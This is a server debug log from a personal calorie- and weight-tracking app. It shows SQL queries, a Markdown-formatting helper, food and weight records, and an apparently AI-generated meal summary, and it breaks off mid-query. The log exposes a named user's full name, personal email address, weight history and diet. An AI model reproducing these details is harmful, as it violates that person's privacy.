2025-12-17T03:41:22.083Z server-connect:app Executing action step identify
2025-12-17T03:41:22.083Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:22.084Z server-connect:output identity: 1
2025-12-17T03:41:22.084Z server-connect:app Executing action step restrict
2025-12-17T03:41:22.084Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:22.084Z server-connect:output restrict: undefined
2025-12-17T03:41:22.084Z server-connect:app Executing action step single
2025-12-17T03:41:22.084Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T03:41:22.085Z server-connect:output restrict: undefined
2025-12-17T03:41:22.085Z server-connect:app Executing action step single
2025-12-17T03:41:22.085Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T03:41:22.086Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T03:41:22.088Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T03:41:22.089Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T03:41:22.089Z server-connect:app Executing action step select
2025-12-17T03:41:22.089Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T03:41:22.089Z server-connect:output summary: undefined
2025-12-17T03:41:22.091Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  }
]
2025-12-17T03:41:22.091Z server-connect:app Executing action step setvalue
2025-12-17T03:41:22.091Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T03:41:22.091Z server-connect:output var_total: 202
2025-12-17T03:41:22.091Z server-connect:app Executing action step setvalue
2025-12-17T03:41:22.091Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T03:41:22.091Z server-connect:output var_consumed: 8
2025-12-17T03:41:22.091Z server-connect:app Executing action step setvalue
2025-12-17T03:41:22.091Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T03:41:22.091Z server-connect:output var_deficit: 2198
2025-12-17T03:41:22.091Z server-connect:app Executing action step custom
2025-12-17T03:41:22.091Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T03:41:22.093Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '202',
    surplus_or_deficit: '2198',
    status_flag: 2
  }
]
2025-12-17T03:41:22.609Z server-connect:app Executing action step identify
2025-12-17T03:41:22.609Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:22.609Z server-connect:output identity: 1
2025-12-17T03:41:24.365Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-17T03:41:24.365Z server-connect:app Executing action step identify
2025-12-17T03:41:24.365Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:24.365Z server-connect:output identity: 1
2025-12-17T03:41:24.365Z server-connect:app Executing action step restrict
2025-12-17T03:41:24.365Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:24.366Z server-connect:output restrict: undefined
2025-12-17T03:41:24.366Z server-connect:app Executing action step select
2025-12-17T03:41:24.366Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-17T03:41:24.367Z server-connect:output items_consumed_today: [
  {
    id: 417,
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)'
  },
  {
    id: 418,
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)'
  },
  {
    id: 419,
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)'
  }
]
2025-12-17T03:41:24.367Z server-connect:app Executing action step paged
2025-12-17T03:41:24.367Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-17T03:41:24.370Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 12,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-17T03:41:24.370Z server-connect:app Executing action step run
2025-12-17T03:41:24.370Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T03:41:24.371Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '\n'
2025-12-17T03:41:24.371Z server-connect:app Executing action step run
2025-12-17T03:41:24.371Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T03:41:24.371Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T03:41:24.371Z server-connect:app Executing action step setvalue
2025-12-17T03:41:24.371Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-17T03:41:24.372Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T03:41:24.372Z server-connect:app Executing action step processWithGemini
2025-12-17T03:41:24.372Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
2025-12-17T03:41:25.260Z server-connect:output health_summary: {
  summary: "The day's intake appears limited, with a focus on supplements. While the protein from the whey is beneficial, the overall meal diversity seems low, potentially impacting micronutrient intake and recovery. Consistency in workout attendance is a positive, but dietary variety is needed for optimal muscle development and fat loss.",
  rating: 4,
  good_points: [
    'Consistent gym attendance 5 times per week supports muscle development.',
    'Inclusion of whey protein post-workout aids in muscle repair.'
  ],
  bad_points: [
    "Limited food variety, with a significant portion of the day's intake coming from supplements.",
    'Lack of complete meals makes it difficult to assess overall nutrient balance.',
    'Potential for insufficient fiber and micronutrients due to limited whole foods.'
  ],
  suggestions: [
    'Incorporate a balanced meal with lean protein, complex carbohydrates, and vegetables after the workout.',
    'Add a variety of fruits and vegetables throughout the day to ensure adequate micronutrient intake.',
    'Consider a balanced breakfast and lunch to support energy levels and recovery.',
    'Ensure adequate hydration, especially with early morning workouts.'
  ],
  predicted_weight_trend: 'Slight downward trend with some fluctuations.',
  predicted_weight: 70
}
2025-12-17T03:41:25.260Z server-connect:app Executing action step condition
2025-12-17T03:41:25.260Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-17T03:41:25.261Z server-connect:app Executing action step delete
2025-12-17T03:41:25.261Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-17T03:41:25.261Z server-connect:output delete: { affected: 0 }
2025-12-17T03:41:25.261Z server-connect:app Executing action step insert
2025-12-17T03:41:25.262Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-17T03:41:25.262Z server-connect:output insert: { affected: 1, identity: 23 }
2025-12-17T03:41:25.262Z server-connect:output condition: undefined
2025-12-17T03:41:25.478Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T03:41:25.478Z server-connect:app Executing action step identify
2025-12-17T03:41:25.478Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:25.478Z server-connect:output identity: 1
2025-12-17T03:41:25.478Z server-connect:app Executing action step restrict
2025-12-17T03:41:25.478Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:25.478Z server-connect:output restrict: undefined
2025-12-17T03:41:25.478Z server-connect:app Executing action step single
2025-12-17T03:41:25.478Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
